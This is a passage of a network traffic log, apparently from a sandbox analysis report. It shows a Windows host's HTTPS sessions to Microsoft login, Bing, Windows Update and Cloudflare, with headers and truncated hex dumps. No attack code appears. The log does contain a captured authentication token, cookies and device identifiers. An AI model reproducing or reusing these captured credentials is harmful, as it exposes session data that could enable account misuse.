2024-10-11 13:54:21 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-11 13:54:22 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 11 Oct 2024 13:53:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BL2 x-ms-request-id: 3bf5a92b-0555-4a8d-b1f7-b61863fd0453 PPServer: PPV: 30 H: BL02EPF0001D9CC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 11 Oct 2024 13:54:21 GMT Connection: close Content-Length: 11389
2024-10-11 13:54:22 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.17	49743	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:21 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-10-11 13:54:22 UTC	209	IN	HTTP/1.1 400 Bad Request X-MSEdge-Ref: Ref A: 2B8F7B10101E4545A6BAAF43F42650E8 Ref B: EWR311000106023 Ref C: 2024-10-11T13:54:21Z Date: Fri, 11 Oct 2024 13:54:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49744	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-11 13:54:23 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-11 13:54:23 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 11 Oct 2024 13:53:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 5af2a203-5b87-4560-b463-676e1a1c55d4 PPServer: PPV: 30 H: SN1PEPF0002F033 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 11 Oct 2024 13:54:22 GMT Connection: close Content-Length: 11389
2024-10-11 13:54:23 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49745	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:24 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4808 Host: login.live.com
2024-10-11 13:54:24 UTC	4808	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-11 13:54:24 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 11 Oct 2024 13:53:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 76af9d35-0ab3-426c-9ee9-5c13c451be94 PPServer: PPV: 30 H: SN1PEPF0002F1B3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 11 Oct 2024 13:54:23 GMT Connection: close Content-Length: 11177
2024-10-11 13:54:24 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49746	2.23.209.182	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:25 UTC	2579	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -240 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAR1ikA1bx%2BNSN6dbT91HFoKUbpwocyq%2BHNukIEKBotHf1WvEwyUsaZZBN6ZC04yPDgMOiXE9g9m5TBEShiTRXbOWE6xds%2BTGgvRvovS54DAatA39hHz96nJz4cqwSq3VlmEOd%2BXxM2mvEZQ7ldPy/M3b1HpPpCPM%2BHGTIjp%2BsexB/g0diatKiI9sXJHiVYlPEUvbbpBACF6amW2HTOG1TnLcBDaTrMcqhqdG55hXDl5DrvEgNngh/Q86sUAi4zWO31EgM6KGQT/1jAYAeQ2Ur33Bk1qbd0ACGVvPfASaq8GhTf6glWjNGkCmJEbX1TtMPq35x7wgk3n24Kv3W/asHGIQZgAAEPx0sb7a2K0MMxChdm73kOuwAei1uY/eKGQ7snaeH4OnK6tVgnZf9zZ0V/R12uBYXBcbGMleIpAny6IC%2BwlctDTfoa%2BVNzdbRMoL9YiQKZ57yqzszXTSRI5TaaMPMW3Nc1GdEotluDcqcmNAtFiXMc6bkzDgP9Lc9EV8vso6NDFZpzjYQwwLta7cX9aFGCeGU0vu04vLrPLWmrEjarbE14ESU3TSMmhvOXzyR5mQ08xzcy035KmpctVYa4uKpeKa/h/KcDcTtbbvmHorm/wTPJE7AoqEeH6cHhZoFkYZWhPB1xHmmb5WBzYRz/dcVp9AmYKwfkahn%2BZ1WQZEnvZYm8MZmKcFslII8a66yuo4u8ogluPFtxkJpJ5Ie6otFgwGjoVXmi2qcXBZoDg09Hbhs8jTJfccrprCEaPyKybCJhxMb4odataHfVtrA0YNdD1BYnzvHcdYgZ34/MP6TjVXMoK7463Kf827J3SzH%2BYUdGCwHVh8sv%2BZy5u6oPkBYrBLPcJKfFx2Cj0/IkTdq0wdCvuyZWFrvU0qlNXu3/Sp3VTw9TiQNwW74mbsZSvNcUU9zOfiqiesYAiAWAP [TRUNCATED] X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1728654859 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: A137FBA114D34B4EAA287B2BF9753DCC X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-10-11 13:54:25 UTC	1147	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 67092e112b8d4f74a56436bb88e5420b X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 11 Oct 2024 13:54:25 GMT Connection: close Set-Cookie: _EDGE_S=SID=02778AB75B9B697619409FA25AF5680D&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Wed, 05-Nov-2025 13:54:25 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=02778AB75B9B697619409FA25AF5680D; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.07d01702.1728654865.1ee498d
2024-10-11 13:54:25 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49747	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:32 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RmFG7hRy6DX5H2f&MD=tARowUD4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-11 13:54:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: eb7db7be-c179-4655-8dfb-72315fe31fdc MS-RequestId: 355234f9-8438-43dc-8927-d262cf122ef0 MS-CV: Ey8DsTJFvUyGo+hW.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 11 Oct 2024 13:54:31 GMT Connection: close Content-Length: 30005
2024-10-11 13:54:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-11 13:54:32 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49748	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:54:32 UTC	925	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34237 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: f3abe9e63e0e531 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:54:32 UTC	16384	OUT	Data Raw: 76 5f 38 64 30 66 35 36 61 37 30 63 61 64 63 33 66 66 3d 59 66 32 31 41 2d 7a 42 44 52 6c 7a 44 7a 52 7a 2d 7a 6f 73 57 25 32 62 52 73 38 73 55 31 69 35 2b 33 7a 36 73 48 61 32 7a 4d 7a 6b 59 58 76 31 70 5a 73 66 62 7a 68 52 73 58 6b 73 58 55 7a 6e 73 6f 5a 77 6a 73 69 31 7a 47 33 73 57 5a 54 55 45 53 57 31 67 33 73 75 31 52 4d 73 74 6f 68 6c 31 76 73 58 4e 32 73 74 73 54 4a 35 5a 73 47 31 2d 42 67 73 54 54 62 73 6c 50 61 59 35 41 67 48 39 4c 45 4d 73 6d 31 67 6c 44 44 73 73 4a 35 73 65 79 73 6d 7a 73 7a 65 2d 31 73 39 6d 31 2d 39 5a 42 52 52 51 54 6d 48 73 2d 74 61 52 48 53 48 55 74 5a 73 52 31 76 48 55 64 67 61 6d 55 5a 73 4a 63 4a 78 45 41 37 5a 6d 31 73 45 73 32 69 61 7a 67 77 42 73 58 47 59 53 73 35 2b 78 79 34 38 45 31 2d 69 30 4e 4d 52 4c 42 65 50 Data Ascii: v_8d0f56a70cadc3ff=Yf21A-zBDRlzDzRz-zosW%2bRs8sU1i5+3z6sHa2zMzkYXv1pZsfbzhRsXksXUznsoZwjsi1zG3sWZTUESW1g3su1RMstohl1vsXN2stsTJ5ZsG1-BgsTTbslPaY5AgH9LEMsm1glDDssJ5seysmzsze-1s9m1-9ZBRRQTmHs-taRHSHUtZsR1vHUdgamUZsJcJxEA7Zm1sEs2iazgwBsXGYSs5+xy48E1-i0NMRLBeP
2024-10-11 13:54:32 UTC	16384	OUT	Data Raw: 5a 2d 54 7a 62 73 57 4e 52 31 73 73 2d 30 33 31 42 73 58 66 2b 6a 54 24 7a 33 7a 34 31 67 31 73 52 73 48 73 42 35 77 78 35 47 73 7a 35 7a 4d 73 30 73 77 31 2d 78 7a 49 73 39 42 73 42 7a 41 2b 69 5a 2b 55 7a 56 73 2b 74 78 4d 73 63 73 4c 4c 2b 4a 73 56 72 6c 58 7a 31 7a 7a 73 54 44 67 46 7a 6d 32 35 32 7a 34 35 42 5a 67 35 7a 35 7a 45 73 77 72 65 4d 31 6f 72 67 70 2d 55 73 72 31 39 42 52 51 62 65 31 39 72 4a 57 7a 6c 73 48 73 2b 35 73 67 35 52 73 52 4d 73 79 31 6f 4d 2b 32 7a 69 66 6f 4d 67 32 7a 69 73 75 4c 58 66 73 32 73 77 31 2d 73 2d 6b 73 4c 33 7a 73 73 6f 73 4e 6d 77 6a 73 38 73 4e 42 7a 73 7a 30 73 58 73 4c 78 73 44 73 4c 35 77 35 73 75 73 48 73 6f 57 7a 66 73 55 32 73 6a 7a 66 5a 52 62 7a 73 73 4f 51 42 6f 30 6e 34 64 73 34 5a 2d 24 6b 50 73 37 6b Data Ascii: 